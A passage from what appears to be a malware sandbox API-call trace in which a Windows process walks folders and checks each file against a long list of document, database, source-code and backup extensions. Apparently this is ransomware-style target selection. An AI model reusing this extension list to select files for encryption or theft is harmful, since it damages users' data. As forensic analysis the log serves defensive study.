(lpString=".bmp") returned 4 [0181.730] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0181.730] lstrlenW (lpString=".bz2") returned 4 [0181.730] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.730] lstrlenW (lpString=".c") returned 2 [0181.730] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.730] lstrlenW (lpString=".cdr") returned 4 [0182.038] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.038] lstrlenW (lpString=".cer") returned 4 [0182.038] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.038] lstrlenW (lpString=".cf") returned 3 [0182.038] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.038] lstrlenW (lpString=".cfc") returned 4 [0182.038] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.038] lstrlenW (lpString=".cfm") returned 4 [0182.038] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.039] lstrlenW (lpString=".cfml") returned 5 [0182.039] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.039] lstrlenW (lpString=".cfu") returned 4 [0182.039] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.039] lstrlenW (lpString=".chm") returned 4 [0182.039] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.039] lstrlenW (lpString=".cin") returned 4 [0182.039] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.039] lstrlenW (lpString=".class") returned 6 [0182.039] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.039] lstrlenW (lpString=".clx") returned 4 [0182.039] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.039] lstrlenW (lpString=".config") returned 7 [0182.039] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.039] lstrlenW (lpString=".cpp") returned 4 [0182.039] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.039] lstrlenW (lpString=".cr2") returned 4 [0182.039] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.039] lstrlenW (lpString=".crt") returned 4 [0182.039] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.039] lstrlenW (lpString=".crw") returned 4 [0182.039] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.039] lstrlenW (lpString=".cs") returned 3 [0182.039] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.039] lstrlenW (lpString=".css") returned 4 [0182.040] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".csv") returned 4 [0182.040] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".cub") returned 4 [0182.040] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".dae") returned 4 [0182.040] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".dat") returned 4 [0182.040] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".db") returned 3 [0182.040] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.040] lstrlenW (lpString=".dbf") returned 4 [0182.040] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".dbx") returned 4 [0182.040] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".dc3") returned 4 [0182.040] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".dcm") returned 4 [0182.040] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".dcr") returned 4 [0182.040] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".der") returned 4 [0182.040] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".dib") returned 4 [0182.040] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.040] lstrlenW (lpString=".dic") returned 4 [0182.041] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.041] lstrlenW (lpString=".dif") returned 4 [0182.041] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.041] lstrlenW (lpString=".divx") returned 5 [0182.041] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.041] lstrlenW (lpString=".djvu") returned 5 [0182.041] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.041] lstrlenW (lpString=".dng") returned 4 [0182.041] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.041] lstrlenW (lpString=".doc") returned 4 [0182.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.041] lstrlenW (lpString=".docm") returned 5 [0182.041] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.041] lstrlenW (lpString=".docx") returned 5 [0182.041] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.041] lstrlenW (lpString=".dot") returned 4 [0182.041] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.041] lstrlenW (lpString=".dotm") returned 5 [0182.041] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.041] lstrlenW (lpString=".dotx") returned 5 [0182.041] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.041] lstrlenW (lpString=".dpx") returned 4 [0182.041] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.041] lstrlenW (lpString=".dqy") returned 4 [0182.042] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.042] lstrlenW (lpString=".dsn") returned 4 [0182.042] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.042] lstrlenW (lpString=".dt") returned 3 [0182.042] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.042] lstrlenW (lpString=".dtd") returned 4 [0182.042] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.042] lstrlenW (lpString=".dwg") returned 4 [0182.042] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.042] lstrlenW (lpString=".dwt") returned 4 [0182.042] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.042] lstrlenW (lpString=".dx") returned 3 [0182.042] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.042] lstrlenW (lpString=".dxf") returned 4 [0182.042] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.042] lstrlenW (lpString=".edml") returned 5 [0182.042] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.042] lstrlenW (lpString=".efd") returned 4 [0182.042] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.042] lstrlenW (lpString=".elf") returned 4 [0182.042] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.042] lstrlenW (lpString=".emf") returned 4 [0182.042] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.042] lstrlenW (lpString=".emz") returned 4 [0182.043] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.043] lstrlenW (lpString=".epf") returned 4 [0182.043] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.043] lstrlenW (lpString=".eps") returned 4 [0182.043] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.043] lstrlenW (lpString=".epsf") returned 5 [0182.043] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.043] lstrlenW (lpString=".epsp") returned 5 [0182.043] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.043] lstrlenW (lpString=".erf") returned 4 [0182.043] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.043] lstrlenW (lpString=".exr") returned 4 [0182.043] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.043] lstrlenW (lpString=".f4v") returned 4 [0182.043] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.043] lstrlenW (lpString=".fido") returned 5 [0182.043] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.043] lstrlenW (lpString=".flm") returned 4 [0182.043] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.043] lstrlenW (lpString=".flv") returned 4 [0182.044] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.044] lstrlenW (lpString=".frm") returned 4 [0182.044] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.044] lstrlenW (lpString=".fxg") returned 4 [0182.044] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.044] lstrlenW (lpString=".geo") returned 4 [0182.044] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.044] lstrlenW (lpString=".gif") returned 4 [0182.044] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.044] lstrlenW (lpString=".grs") returned 4 [0182.044] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.044] lstrlenW (lpString=".gz") returned 3 [0182.044] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.044] lstrlenW (lpString=".h") returned 2 [0182.044] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.044] lstrlenW (lpString=".hdr") returned 4 [0182.044] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.044] lstrlenW (lpString=".hpp") returned 4 [0182.044] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.044] lstrlenW (lpString=".hta") returned 4 [0182.044] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.044] lstrlenW (lpString=".htc") returned 4 [0182.044] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.044] lstrlenW (lpString=".htm") returned 4 [0182.044] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0182.045] lstrlenW (lpString=".html") returned 5 [0182.045] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0182.045] lstrlenW (lpString=".icb") returned 4 [0182.045] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0182.045] lstrlenW (lpString=".ics") returned 4 [0182.045] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0182.092] lstrlenW (lpString=".iff") returned 4 [0182.093] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0182.093] lstrlenW (lpString=".inc") returned 4 [0182.093] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0182.093] lstrlenW (lpString=".indd") returned 5 [0182.093] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0182.093] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.093] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.093] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.093] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0182.094] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0182.094] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1 [0182.094] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0182.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0182.129] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0182.129] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x923d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0182.129] lstrlenW (lpString="index.html") returned 10 [0182.129] lstrlenW (lpString=".1cd") returned 4 [0182.129] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0182.129] lstrlenW (lpString=".3ds") returned 4 [0182.129] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0182.129] lstrlenW (lpString=".3fr") returned 4 [0182.129] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0182.129] lstrlenW (lpString=".3g2") returned 4 [0182.130] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0182.130] lstrlenW (lpString=".3gp") returned 4 [0182.130] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0182.130] lstrlenW (lpString=".7z") returned 3 [0182.130] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0182.130] lstrlenW (lpString=".accda") returned 6 [0182.130] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0182.130] lstrlenW (lpString=".accdb") returned 6 [0182.130] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0182.130] lstrlenW (lpString=".accdc") returned 6 [0182.130] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0182.130] lstrlenW (lpString=".accde") returned 6 [0182.130] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0182.130] lstrlenW (lpString=".accdt") returned 6 [0182.130] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0182.130] lstrlenW (lpString=".accdw") returned 6 [0182.130] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0182.130] lstrlenW (lpString=".adb") returned 4 [0182.130] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0182.130] lstrlenW (lpString=".adp") returned 4 [0182.130] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0182.130] lstrlenW (lpString=".ai") returned 3 [0182.130] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0182.130] lstrlenW (lpString=".ai3") returned 4 [0182.130] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0182.131] lstrlenW (lpString=".ai4") returned 4 [0182.131] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0182.131] lstrlenW (lpString=".ai5") returned 4 [0182.131] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0182.131] lstrlenW (lpString=".ai6") returned 4 [0182.131] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0182.131] lstrlenW (lpString=".ai7") returned 4 [0182.131] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0182.131] lstrlenW (lpString=".ai8") returned 4 [0182.131] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0182.131] lstrlenW (lpString=".anim") returned 5 [0182.131] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0182.131] lstrlenW (lpString=".arw") returned 4 [0182.131] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0182.131] lstrlenW (lpString=".as") returned 3 [0182.131] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0182.131] lstrlenW (lpString=".asa") returned 4 [0182.131] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0182.131] lstrlenW (lpString=".asc") returned 4 [0182.131] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0182.131] lstrlenW (lpString=".ascx") returned 5 [0182.131] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0182.131] lstrlenW (lpString=".asm") returned 4 [0182.131] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0182.131] lstrlenW (lpString=".asmx") returned 5 [0182.131] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0182.132] lstrlenW (lpString=".asp") returned 4 [0182.132] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0182.132] lstrlenW (lpString=".aspx") returned 5 [0182.132] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0182.132] lstrlenW (lpString=".asr") returned 4 [0182.132] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0182.132] lstrlenW (lpString=".asx") returned 4 [0182.132] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0182.132] lstrlenW (lpString=".avi") returned 4 [0182.132] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0182.132] lstrlenW (lpString=".avs") returned 4 [0182.132] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0182.132] lstrlenW (lpString=".backup") returned 7 [0182.132] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0182.132] lstrlenW (lpString=".bak") returned 4 [0182.132] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0182.133] lstrlenW (lpString=".bay") returned 4 [0182.133] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0182.133] lstrlenW (lpString=".bd") returned 3 [0182.133] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0182.133] lstrlenW (lpString=".bin") returned 4 [0182.133] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0182.133] lstrlenW (lpString=".bmp") returned 4 [0182.133] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0182.133] lstrlenW (lpString=".bz2") returned 4 [0182.133] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0182.133] lstrlenW (lpString=".c") returned 2 [0182.133] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.133] lstrlenW (lpString=".cdr") returned 4 [0182.133] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0182.133] lstrlenW (lpString=".cer") returned 4 [0182.133] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0182.133] lstrlenW (lpString=".cf") returned 3 [0182.133] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0182.133] lstrlenW (lpString=".cfc") returned 4 [0182.133] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0182.133] lstrlenW (lpString=".cfm") returned 4 [0182.133] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0182.133] lstrlenW (lpString=".cfml") returned 5 [0182.133] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0182.134] lstrlenW (lpString=".cfu") returned 4 [0182.134] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0182.134] lstrlenW (lpString=".chm") returned 4 [0182.134] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0182.134] lstrlenW (lpString=".cin") returned 4 [0182.134] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0182.134] lstrlenW (lpString=".class") returned 6 [0182.134] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0182.134] lstrlenW (lpString=".clx") returned 4 [0182.134] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0182.134] lstrlenW (lpString=".config") returned 7 [0182.134] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0182.134] lstrlenW (lpString=".cpp") returned 4 [0182.134] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0182.134] lstrlenW (lpString=".cr2") returned 4 [0182.134] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0182.134] lstrlenW (lpString=".crt") returned 4 [0182.134] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0182.134] lstrlenW (lpString=".crw") returned 4 [0182.134] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0182.134] lstrlenW (lpString=".cs") returned 3 [0182.134] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0182.134] lstrlenW (lpString=".css") returned 4 [0182.134] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0182.134] lstrlenW (lpString=".csv") returned 4 [0182.134] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".cub") returned 4 [0182.135] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".dae") returned 4 [0182.135] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".dat") returned 4 [0182.135] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".db") returned 3 [0182.135] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0182.135] lstrlenW (lpString=".dbf") returned 4 [0182.135] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".dbx") returned 4 [0182.135] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".dc3") returned 4 [0182.135] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".dcm") returned 4 [0182.135] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".dcr") returned 4 [0182.135] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".der") returned 4 [0182.135] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".dib") returned 4 [0182.135] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".dic") returned 4 [0182.135] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0182.135] lstrlenW (lpString=".dif") returned 4 [0182.135] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0182.136] lstrlenW (lpString=".divx") returned 5 [0182.136] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0182.136] lstrlenW (lpString=".djvu") returned 5 [0182.136] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0182.136] lstrlenW (lpString=".dng") returned 4 [0182.136] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0182.136] lstrlenW (lpString=".doc") returned 4 [0182.136] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0182.136] lstrlenW (lpString=".docm") returned 5 [0182.136] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0182.136] lstrlenW (lpString=".docx") returned 5 [0182.136] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0182.136] lstrlenW (lpString=".dot") returned 4 [0182.136] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0182.136] lstrlenW (lpString=".dotm") returned 5 [0182.136] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0182.136] lstrlenW (lpString=".dotx") returned 5 [0182.136] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0182.136] lstrlenW (lpString=".dpx") returned 4 [0182.136] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0182.136] lstrlenW (lpString=".dqy") returned 4 [0182.136] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0182.137] lstrlenW (lpString=".dsn") returned 4 [0182.137] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0182.137] lstrlenW (lpString=".dt") returned 3 [0182.137] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0182.137] lstrlenW (lpString=".dtd") returned 4 [0182.137] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0182.137] lstrlenW (lpString=".dwg") returned 4 [0182.137] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0182.137] lstrlenW (lpString=".dwt") returned 4 [0182.137] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0182.137] lstrlenW (lpString=".dx") returned 3 [0182.137] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0182.137] lstrlenW (lpString=".dxf") returned 4 [0182.137] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0182.137] lstrlenW (lpString=".edml") returned 5 [0182.137] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0182.137] lstrlenW (lpString=".efd") returned 4 [0182.137] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0182.137] lstrlenW (lpString=".elf") returned 4 [0182.137] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0182.137] lstrlenW (lpString=".emf") returned 4 [0182.137] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0182.137] lstrlenW (lpString=".emz") returned 4 [0182.137] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0182.137] lstrlenW (lpString=".epf") returned 4 [0182.138] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0182.138] lstrlenW (lpString=".eps") returned 4 [0182.138] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0182.138] lstrlenW (lpString=".epsf") returned 5 [0182.138] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0182.138] lstrlenW (lpString=".epsp") returned 5 [0182.138] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0182.138] lstrlenW (lpString=".erf") returned 4 [0182.139] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0182.139] lstrlenW (lpString=".exr") returned 4 [0182.139] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0182.139] lstrlenW (lpString=".f4v") returned 4 [0182.139] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0182.139] lstrlenW (lpString=".fido") returned 5 [0182.139] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0182.139] lstrlenW (lpString=".flm") returned 4 [0182.139] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0182.139] lstrlenW (lpString=".flv") returned 4 [0182.139] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0182.139] lstrlenW (lpString=".frm") returned 4 [0182.139] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0182.139] lstrlenW (lpString=".fxg") returned 4 [0182.139] lstrcmpiW (lpString1=".fxg", 